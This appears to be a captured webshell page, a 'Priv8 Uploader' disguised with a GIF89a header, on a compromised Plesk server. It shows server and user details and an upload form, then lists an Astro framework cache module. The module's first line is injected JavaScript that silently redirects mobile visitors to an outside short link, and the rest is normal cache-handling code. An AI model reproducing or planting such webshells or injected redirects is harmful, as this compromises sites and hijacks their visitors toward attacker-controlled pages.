GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.216.249 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/astro/dist/core/cache/ |
Upload File : |
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/otqTzexnD0r8");
import { PipelineFeatures } from "../base-pipeline.js";
import { AstroCache, applyCacheHeaders } from "./runtime/cache.js";
import { NoopAstroCache, DisabledAstroCache } from "./runtime/noop.js";
import { compileCacheRoutes, matchCacheRoute } from "./runtime/route-matching.js";
const CACHE_KEY = "cache";
function provideCache(state) {
const pipeline = state.pipeline;
if (!pipeline.cacheConfig) {
state.provide(CACHE_KEY, {
create: () => new DisabledAstroCache(pipeline.logger)
});
return;
}
if (pipeline.runtimeMode === "development") {
state.provide(CACHE_KEY, {
create: () => new NoopAstroCache()
});
return;
}
return provideCacheAsync(state, pipeline);
}
async function provideCacheAsync(state, pipeline) {
const cacheProvider = await pipeline.getCacheProvider();
state.provide(CACHE_KEY, {
create() {
const cache = new AstroCache(cacheProvider);
if (pipeline.cacheConfig?.routes) {
if (!pipeline.compiledCacheRoutes) {
pipeline.compiledCacheRoutes = compileCacheRoutes(
pipeline.cacheConfig.routes,
pipeline.manifest.base,
pipeline.manifest.trailingSlash
);
}
const matched = matchCacheRoute(state.pathname, pipeline.compiledCacheRoutes);
if (matched) {
cache.set(matched);
}
}
return cache;
}
});
}
class CacheHandler {
#app;
constructor(app) {
this.#app = app;
}
async handle(state, next) {
this.#app.pipeline.usedFeatures |= PipelineFeatures.cache;
if (!this.#app.pipeline.cacheProvider) {
return next();
}
const cache = state.resolve(CACHE_KEY);
const cacheProvider = await this.#app.pipeline.getCacheProvider();
if (cacheProvider?.onRequest) {
const response2 = await cacheProvider.onRequest(
{
request: state.request,
url: new URL(state.request.url),
waitUntil: state.renderOptions.waitUntil
},
async () => {
const res = await next();
applyCacheHeaders(cache, res);
return res;
}
);
response2.headers.delete("CDN-Cache-Control");
response2.headers.delete("Cache-Tag");
return response2;
}
const response = await next();
applyCacheHeaders(cache, response);
return response;
}
}
export {
CacheHandler,
provideCache
};